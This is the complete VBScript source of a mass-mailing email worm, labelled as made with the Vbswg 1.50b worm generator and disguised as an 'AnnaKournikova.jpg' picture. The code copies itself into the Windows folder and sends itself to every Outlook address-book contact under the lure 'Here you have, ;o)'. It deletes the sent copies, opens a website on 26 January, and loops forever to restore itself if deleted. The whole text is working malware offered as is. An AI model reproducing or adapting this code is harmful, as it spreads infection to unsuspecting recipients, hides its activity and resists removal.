'Vbs.OnTheFly Created By OnTheFly

On Error Resume Next

Set WScriptShell = CreateObject("WScript.Shell")
WScriptShell.regwrite "HKCU\software\OnTheFly\", "Worm made with Vbswg 1.50b"
Set FileSystemObject = Createobject("scripting.filesystemobject")
FileSystemObject.copyfile wscript.scriptfullname,FileSystemObject.GetSpecialFolder(0) & "\AnnaKournikova.jpg.vbs"

if WScriptShell.regread ("HKCU\software\OnTheFly\mailed") <> "1" then
 doMail()
end if

if month(now) = 1 and day(now) = 26 then
 WScriptShell.run "Http://www.dynabyte.nl",3,false
end if

Set thisScript = FileSystemObject.opentextfile(wscript.scriptfullname, 1)
thisScriptText = thisScript.readall
thisScript.Close

Do

 If Not (FileSystemObject.fileexists(wscript.scriptfullname)) Then
 Set newFile = FileSystemObject.createtextfile(wscript.scriptfullname, True)
 newFile.write thisScriptText
 newFile.Close
 End If

Loop

Function doMail()

 On Error Resume Next
 Set OutlookApp = CreateObject("Outlook.Application")
 If OutlookApp = "Outlook" Then
  Set MAPINameSpace = OutlookApp.GetNameSpace("MAPI")
  Set AddressLists = MAPINameSpace.AddressLists
  For Each address In AddressLists
   If address.AddressEntries.Count <> 0 Then
    entryCount = address.AddressEntries.Count
    For i = 1 To entryCount
     Set newItem = OutlookApp.CreateItem(0)
     Set currentAddress = address.AddressEntries(i)
     newItem.To = currentAddress.Address
     newItem.Subject = "Here you have, ;o)"
     newItem.Body = "Hi:" & vbcrlf & "Check This!" & vbcrlf & ""
     set attachments = newItem.Attachments
     attachments.Add FileSystemObject.GetSpecialFolder(0) & "\AnnaKournikova.jpg.vbs"
     newItem.DeleteAfterSubmit = True
     If newItem.To <> "" Then
      newItem.Send
      WScriptShell.regwrite "HKCU\software\OnTheFly\mailed", "1"
     End If
    Next
   End If
  Next
 end if

End Function

'Vbswg 1.50b